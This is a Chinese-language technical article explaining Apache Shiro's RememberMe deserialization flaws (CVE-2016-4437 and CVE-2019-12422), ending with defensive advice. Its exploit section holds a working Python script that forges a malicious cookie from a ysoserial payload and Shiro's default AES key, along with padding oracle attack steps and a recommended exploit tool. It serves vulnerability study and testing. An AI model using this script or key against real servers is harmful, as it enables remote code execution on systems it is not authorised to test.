深入探究Shiro漏洞成因及攻击技术
字数 1770 2025-08-23 18:31:09
Apache Shiro漏洞深度分析与利用技术
一、Shiro框架概述
Apache Shiro™是一个强大且易用的Java安全框架,提供以下核心功能:
- 身份验证(Authentication)
- 授权(Authorization)
- 加密(Cryptography)
- 会话管理(Session Management)
官方文档:https://shiro.apache.org/
二、Shiro550漏洞分析(CVE-2016-4437)
1. 漏洞环境搭建
环境要求:
- Shiro版本:1.2.4
- JDK版本:1.6
- Maven版本:3.1.1
搭建步骤:
- 下载源码:
https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 - 修改samples/web/pom.xml依赖配置
- 使用Maven打包生成war文件
- 部署到Tomcat服务器
2. RememberMe功能分析
加密过程(Cookie生成)
-
序列化身份信息:
byte[] bytes = serialize(principals); -
AES加密:
- 使用默认密钥:
kPH+bIxk5D2deZiIxcaaaA== - 加密模式:CBC
- IV:随机生成的16字节
- 使用默认密钥:
-
Base64编码:
String base64 = Base64.encodeToString(serialized); -
设置Cookie:
cookie.setValue(base64); cookie.saveTo(request, response);
解密过程(Cookie解析)
-
Base64解码:
byte[] decoded = Base64.decode(base64); -
AES解密:
- 分离IV和加密数据
- 使用相同密钥解密
-
反序列化:
return deserialize(bytes);关键点:最终调用
ObjectInputStream.readObject()
3. 漏洞利用技术
利用条件
- 已知AES加密密钥(默认或泄露)
- 存在可利用的反序列化链
利用工具
# Python利用脚本示例
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def generate_payload(command, ysoserial_path):
popen = subprocess.Popen(['java', '-jar', ysoserial_path, 'URLDNS', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
利用链选择
-
URLDNS链:
- 用于验证漏洞存在
- 触发DNS请求
-
CommonsCollections链:
- 版本3.2.1或4.0
- 可执行系统命令
-
CommonsBeanutils链:
- 利用Shiro自带依赖
4. 难点分析
Class加载问题:
- Shiro使用
ClassUtils.forName()而非Class.forName() - 限制了某些利用链的使用(如需要数组形式的Transformer)
解决方案:
- 使用非数组形式的CC链(如CC2)
- 利用Shiro自带的CB链
三、Shiro721漏洞分析(CVE-2019-12422)
1. 影响版本
- Apache Shiro <= 1.4.1
2. 与Shiro550的区别
| 特性 | Shiro550 | Shiro721 |
|---|---|---|
| 密钥 | 固定 | 动态生成 |
| 攻击方式 | 直接加密 | Padding Oracle |
| 利用条件 | 需要密钥 | 需要合法Cookie |
3. 动态密钥生成
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
AesCipherService cipherService = new AesCipherService();
this.cipherService = cipherService;
setCipherKey(cipherService.generateNewKey().getEncoded());
}
密钥生成流程:
- 初始化密钥生成器(AES算法)
- 设置密钥长度(默认128位)
- 生成随机密钥
4. Padding Oracle攻击原理
攻击条件
-
服务器对Padding错误和反序列化错误返回不同响应
- Padding错误:返回
Set-Cookie: rememberMe=deleteMe - 反序列化错误:正常响应
- Padding错误:返回
-
需要获取一个合法的RememberMe Cookie
攻击步骤
- 截获合法Cookie
- 通过Padding Oracle攻击获取中间值(intermediary)
- 构造恶意密文
- 使用新Cookie发起攻击
5. 利用工具
推荐使用ShiroExploit v2.51工具:
- 输入目标URL和合法Cookie
- 选择检测方式(如ceye.io)
- 执行攻击
四、防护建议
-
升级Shiro版本
- 使用最新稳定版本
-
密钥管理
- 避免使用默认密钥
- 定期更换密钥
-
禁用RememberMe
- 如不需要该功能,直接禁用
-
输入验证
- 对反序列化数据进行严格校验
-
网络防护
- 使用WAF防护已知攻击特征
五、总结
Shiro漏洞的核心在于:
- 不安全的反序列化实现
- 加密机制的可预测性
- 错误处理的差异性
通过深入分析Shiro的加密和身份验证机制,安全研究人员可以更好地理解这些漏洞的成因,并开发出更有效的防护措施。同时,这些分析也为安全测试人员提供了验证系统安全性的有效方法。